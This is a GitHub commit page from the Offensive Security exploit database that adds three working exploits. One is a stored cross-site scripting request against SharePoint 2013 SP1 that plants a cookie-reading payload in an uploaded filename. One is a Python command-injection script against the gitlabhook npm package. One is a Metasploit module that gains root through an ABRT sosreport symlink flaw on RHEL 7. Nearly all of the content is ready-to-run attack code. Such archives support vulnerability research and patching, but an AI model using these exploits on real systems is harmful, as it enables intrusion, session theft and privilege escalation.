Skip to content

Commit ba92814

Browse files
author
Offensive Security
committed
DB: 2019-09-26
10 changes to exploits/shellcodes SpotIE Internet Explorer Password Recovery 2.9.5 - 'Key' Denial of Service Easy File Sharing Web Server 7.2 - 'New User' Local SEH Overflow ABRT - sosreport Privilege Escalation (Metasploit) Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection Microsoft SharePoint 2013 SP1 - 'DestinationFolder' Persistant Cross-Site Scripting WP Server Log Viewer 1.0 - 'logfile' Persistent Cross-Site Scripting NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution YzmCMS 5.3 - 'Host' Header Injection
1 parent d7ea903 commit ba92814

File tree

9 files changed

+514
-256
lines changed

9 files changed

+514
-256
lines changed

‎exploits/aspx/webapps/47417.txt

Lines changed: 177 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,177 @@
1+
# Exploit Title: Microsoft SharePoint 2013 SP1 - 'DestinationFolder' Persistent Cross-Site Scripting
2+
# Author: Davide Cioccia
3+
# Discovery Date: 2019-09-25
4+
# Vendor Homepage: https://www.microsoft.com
5+
# Software Link: https://support.microsoft.com/en-us/help/2880552/description-of-microsoft-sharepoint-server-2013-service-pack-1-sp1
6+
# Tested Version: SP1
7+
# Tested on: Microsoft Windows Server 2016
8+
# CVE: CVE-2019-1262
9+
# Advisory ID: ZSL-2019-5533
10+
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5533.php
11+
# MSRC: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1262
12+
13+
Vendor: Microsoft Corporation
14+
Product web page: https://www.microsoft.com
15+
Affected version: 2013 SP1
16+
17+
Summary: SharePoint is a web-based collaborative platform that
18+
integrates with Microsoft Office. Launched in 2001, SharePoint
19+
is primarily sold as a document management and storage system,
20+
but the product is highly configurable and usage varies substantially
21+
among organizations.
22+
23+
Desc: A cross-site-scripting (XSS) vulnerability exists when Microsoft
24+
SharePoint Server does not properly sanitize a specially crafted web
25+
request to an affected SharePoint server. An authenticated attacker
26+
could exploit the vulnerability by sending a specially crafted request
27+
to an affected SharePoint server. The attacker who successfully exploited
28+
the vulnerability could then perform cross-site scripting attacks on
29+
affected systems and run script in the security context of the current
30+
user. The attacks could allow the attacker to read content that the
31+
attacker is not authorized to read, use the victim's identity to take
32+
actions on the SharePoint site on behalf of the user, such as change
33+
permissions and delete content, and inject malicious content in the
34+
browser of the user.
35+
36+
Sharepoint 2013 SP1 allows users to upload files to the platform, but
37+
does not correctly sanitize the filename when the files are listed. An
38+
authenticated user that has the rights to upload files to the SharePoint
39+
platform, is able to exploit a Stored Cross-Site Scripting vulnerability
40+
in the filename. The filename is reflected in the attribute 'aria-label'
41+
of the following HTML tag.
42+
43+
# PoC request:
44+
45+
46+
POST /FOLDER/_layouts/15/Upload.aspx?List={689D112C-BDAA-4B05-B0CB-0DFB36CF0649}&RootFolder=&IsDlg=1 HTTP/1.1
47+
Host: vulnerable_sharepoint_2013
48+
Connection: close
49+
Content-Length: 31337
50+
Cache-Control: max-age=0
51+
Authorization: Negotiate YIIV9gYGKwYBBQUCo........................JBAq39IdJh3yphI1uHbz/jbQ==
52+
Origin: https://vulnerable_sharepoint_2013.tld
53+
Upgrade-Insecure-Requests: 1
54+
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryewNI1MC6qaHDB50n
55+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
56+
Sec-Fetch-Mode: nested-navigate
57+
Sec-Fetch-User: ?1
58+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
59+
Sec-Fetch-Site: same-origin
60+
Accept-Encoding: gzip, deflate
61+
Accept-Language: en-US,en;q=0.9,it-IT;q=0.8,it;q=0.7,nl;q=0.6
62+
Cookie: ...
63+
64+
------WebKitFormBoundaryewNI1MC6qaHDB50n
65+
Content-Disposition: form-data; name="MSOWebPartPage_PostbackSource"
66+
67+
68+
------WebKitFormBoundaryewNI1MC6qaHDB50n
69+
Content-Disposition: form-data; name="MSOTlPn_SelectedWpId"
70+
71+
72+
------WebKitFormBoundaryewNI1MC6qaHDB50n
73+
Content-Disposition: form-data; name="MSOTlPn_View"
74+
75+
0
76+
------WebKitFormBoundaryewNI1MC6qaHDB50n
77+
Content-Disposition: form-data; name="MSOTlPn_ShowSettings"
78+
79+
False
80+
------WebKitFormBoundaryewNI1MC6qaHDB50n
81+
Content-Disposition: form-data; name="MSOGallery_SelectedLibrary"
82+
83+
84+
------WebKitFormBoundaryewNI1MC6qaHDB50n
85+
Content-Disposition: form-data; name="MSOGallery_FilterString"
86+
87+
88+
------WebKitFormBoundaryewNI1MC6qaHDB50n
89+
Content-Disposition: form-data; name="MSOTlPn_Button"
90+
91+
none
92+
------WebKitFormBoundaryewNI1MC6qaHDB50n
93+
Content-Disposition: form-data; name="__EVENTTARGET"
94+
95+
ctl00$PlaceHolderMain$ctl00$RptControls$btnOK
96+
------WebKitFormBoundaryewNI1MC6qaHDB50n
97+
Content-Disposition: form-data; name="__EVENTARGUMENT"
98+
99+
100+
------WebKitFormBoundaryewNI1MC6qaHDB50n
101+
Content-Disposition: form-data; name="MSOSPWebPartManager_DisplayModeName"
102+
103+
Browse
104+
------WebKitFormBoundaryewNI1MC6qaHDB50n
105+
Content-Disposition: form-data; name="MSOSPWebPartManager_ExitingDesignMode"
106+
107+
false
108+
------WebKitFormBoundaryewNI1MC6qaHDB50n
109+
Content-Disposition: form-data; name="MSOWebPartPage_Shared"
110+
111+
112+
------WebKitFormBoundaryewNI1MC6qaHDB50n
113+
Content-Disposition: form-data; name="MSOLayout_LayoutChanges"
114+
115+
116+
------WebKitFormBoundaryewNI1MC6qaHDB50n
117+
Content-Disposition: form-data; name="MSOLayout_InDesignMode"
118+
119+
120+
------WebKitFormBoundaryewNI1MC6qaHDB50n
121+
Content-Disposition: form-data; name="MSOSPWebPartManager_OldDisplayModeName"
122+
123+
Browse
124+
------WebKitFormBoundaryewNI1MC6qaHDB50n
125+
Content-Disposition: form-data; name="MSOSPWebPartManager_StartWebPartEditingName"
126+
127+
false
128+
------WebKitFormBoundaryewNI1MC6qaHDB50n
129+
Content-Disposition: form-data; name="MSOSPWebPartManager_EndWebPartEditing"
130+
131+
false
132+
------WebKitFormBoundaryewNI1MC6qaHDB50n
133+
Content-Disposition: form-data; name="_maintainWorkspaceScrollPosition"
134+
135+
0
136+
------WebKitFormBoundaryewNI1MC6qaHDB50n
137+
Content-Disposition: form-data; name="__REQUESTDIGEST"
138+
139+
[DIGEST]
140+
141+
------WebKitFormBoundaryewNI1MC6qaHDB50n
142+
Content-Disposition: form-data; name="__VIEWSTATE"
143+
144+
[VIEWSTATE]
145+
146+
------WebKitFormBoundaryewNI1MC6qaHDB50n
147+
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"
148+
149+
E6912F23
150+
------WebKitFormBoundaryewNI1MC6qaHDB50n
151+
Content-Disposition: form-data; name="__SCROLLPOSITIONX"
152+
153+
0
154+
------WebKitFormBoundaryewNI1MC6qaHDB50n
155+
Content-Disposition: form-data; name="__SCROLLPOSITIONY"
156+
157+
0
158+
------WebKitFormBoundaryewNI1MC6qaHDB50n
159+
Content-Disposition: form-data; name="__EVENTVALIDATION"
160+
161+
162+
163+
------WebKitFormBoundaryewNI1MC6qaHDB50n
164+
Content-Disposition: form-data; name="destination"
165+
166+
[DESTINATION_FOLDER]
167+
------WebKitFormBoundaryewNI1MC6qaHDB50n
168+
Content-Disposition: form-data; name="ctl00$PlaceHolderMain$ctl01$ctl04$InputFile"; filename="' onmouseover=alert(document.cookie) '.jpg"
169+
Content-Type: image/jpeg
170+
171+
172+
ZSL
173+
------WebKitFormBoundaryewNI1MC6qaHDB50n
174+
Content-Disposition: form-data; name="ctl00$PlaceHolderMain$ctl01$ctl04$OverwriteSingle"
175+
176+
on
177+
------WebKitFormBoundaryewNI1MC6qaHDB50n--

‎exploits/json/webapps/47420.txt

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# Exploit Title: NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution
2+
# Date: 2019-09-13
3+
# Exploit Author: Semen Alexandrovich Lyhin
4+
# Vendor Homepage: https://www.npmjs.com/package/gitlabhook
5+
# Version: 0.0.17
6+
# Tested on: Kali Linux 2, Windows 10.
7+
# CVE : CVE-2019-5485
8+
9+
#!/usr/bin/python
10+
11+
import requests
12+
13+
target = "http://TARGET:3420"
14+
cmd = r"touch /tmp/poc.txt"
15+
json = '{"repository":{"name": "Diasporrra\'; %s;\'"}}'% cmd
16+
r = requests.post(target, json)
17+
18+
print "Done."

‎exploits/linux/local/47421.rb

Lines changed: 160 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,160 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Post::Linux::Priv
11+
include Msf::Post::Linux::System
12+
include Msf::Post::Linux::Kernel
13+
include Msf::Exploit::EXE
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'ABRT sosreport Privilege Escalation',
19+
'Description' => %q{
20+
This module attempts to gain root privileges on RHEL systems with
21+
a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
22+
as the crash handler.
23+
24+
`sosreport` uses an insecure temporary directory, allowing local users
25+
to write to arbitrary files (CVE-2015-5287). This module uses a symlink
26+
attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path
27+
in `/proc/sys/kernel/modprobe`, resulting in root privileges.
28+
29+
Waiting for `sosreport` could take a few minutes.
30+
31+
This module has been tested successfully on:
32+
33+
abrt 2.1.11-12.el7 on RHEL 7.0 x86_64; and
34+
abrt 2.1.11-19.el7 on RHEL 7.1 x86_64.
35+
},
36+
'License' => MSF_LICENSE,
37+
'Author' =>
38+
[
39+
'rebel', # Discovery and sosreport-rhel7.py exploit
40+
'bcoles' # Metasploit
41+
],
42+
'DisclosureDate' => '2015-11-23',
43+
'Platform' => ['linux'],
44+
'Arch' =>
45+
[
46+
ARCH_X86,
47+
ARCH_X64,
48+
ARCH_ARMLE,
49+
ARCH_AARCH64,
50+
ARCH_PPC,
51+
ARCH_MIPSLE,
52+
ARCH_MIPSBE
53+
],
54+
'SessionTypes' => ['shell', 'meterpreter'],
55+
'Targets' => [[ 'Auto', {} ]],
56+
'References' =>
57+
[
58+
['BID', '78137'],
59+
['CVE', '2015-5287'],
60+
['EDB', '38832'],
61+
['URL', 'https://www.openwall.com/lists/oss-security/2015/12/01/1'],
62+
['URL', 'https://access.redhat.com/errata/RHSA-2015:2505'],
63+
['URL', 'https://access.redhat.com/security/cve/CVE-2015-5287'],
64+
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1266837']
65+
]
66+
))
67+
register_options [
68+
OptInt.new('TIMEOUT', [true, 'Timeout for sosreport (seconds)', '600'])
69+
]
70+
register_advanced_options [
71+
OptBool.new('ForceExploit', [false, 'Override check result', false]),
72+
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
73+
]
74+
end
75+
76+
def base_dir
77+
datastore['WritableDir']
78+
end
79+
80+
def timeout
81+
datastore['TIMEOUT']
82+
end
83+
84+
def check
85+
kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'
86+
unless kernel_core_pattern.include? 'abrt-hook-ccpp'
87+
vprint_error 'System is not configured to use ABRT for crash reporting'
88+
return CheckCode::Safe
89+
end
90+
vprint_good 'System is configured to use ABRT for crash reporting'
91+
92+
if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'
93+
vprint_error 'abrt-ccp service not running'
94+
return CheckCode::Safe
95+
end
96+
vprint_good 'abrt-ccpp service is running'
97+
98+
# Patched in 2.1.11-35.el7
99+
pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s
100+
abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\s+/)[1]
101+
if abrt_version.blank?
102+
vprint_status 'Could not retrieve ABRT package version'
103+
return CheckCode::Safe
104+
end
105+
unless Gem::Version.new(abrt_version) < Gem::Version.new('2.1.11-35.el7')
106+
vprint_status "ABRT package version #{abrt_version} is not vulnerable"
107+
return CheckCode::Safe
108+
end
109+
vprint_good "ABRT package version #{abrt_version} is vulnerable"
110+
111+
unless command_exists? 'python'
112+
vprint_error 'python is not installed'
113+
return CheckCode::Safe
114+
end
115+
vprint_good 'python is installed'
116+
117+
CheckCode::Appears
118+
end
119+
120+
def upload_and_chmodx(path, data)
121+
print_status "Writing '#{path}' (#{data.size} bytes) ..."
122+
rm_f path
123+
write_file path, data
124+
chmod path
125+
register_file_for_cleanup path
126+
end
127+
128+
def exploit
129+
unless check == CheckCode::Appears
130+
unless datastore['ForceExploit']
131+
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
132+
end
133+
print_warning 'Target does not appear to be vulnerable'
134+
end
135+
136+
if is_root?
137+
unless datastore['ForceExploit']
138+
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
139+
end
140+
end
141+
142+
unless writable? base_dir
143+
fail_with Failure::BadConfig, "#{base_dir} is not writable"
144+
end
145+
146+
exe_data = ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2015-5287', 'sosreport-rhel7.py')
147+
exe_name = ".#{rand_text_alphanumeric 5..10}"
148+
exe_path = "#{base_dir}/#{exe_name}"
149+
upload_and_chmodx exe_path, exe_data
150+
151+
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
152+
upload_and_chmodx payload_path, generate_payload_exe
153+
154+
register_file_for_cleanup '/tmp/hax.sh'
155+
156+
print_status "Launching exploit - This might take a few minutes (Timeout: #{timeout}s) ..."
157+
output = cmd_exec "echo \"#{payload_path}& exit\" | #{exe_path}", nil, timeout
158+
output.each_line { |line| vprint_status line.chomp }
159+
end
160+
end

0 commit comments

Comments
 (0)